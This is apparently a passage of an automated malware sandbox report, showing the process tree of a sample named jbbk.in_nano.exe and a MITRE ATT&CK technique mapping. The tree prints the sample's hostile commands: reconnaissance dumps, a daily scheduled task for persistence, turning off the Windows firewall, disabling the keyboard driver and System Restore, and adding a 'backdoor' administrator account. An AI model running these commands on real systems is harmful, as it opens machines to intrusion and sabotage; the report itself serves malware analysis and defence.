  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3168
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4268
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:3816
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4060
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2108
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4320
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3936
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3124
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5028
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:1752
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1168
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1000
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2288
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:440

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4128
- C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
  C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
  2⤵
  PID:4972

C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
C:\Users\Admin\AppData\Local\Temp\jbbk.in_nano.exe
1⤵
PID:2156

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery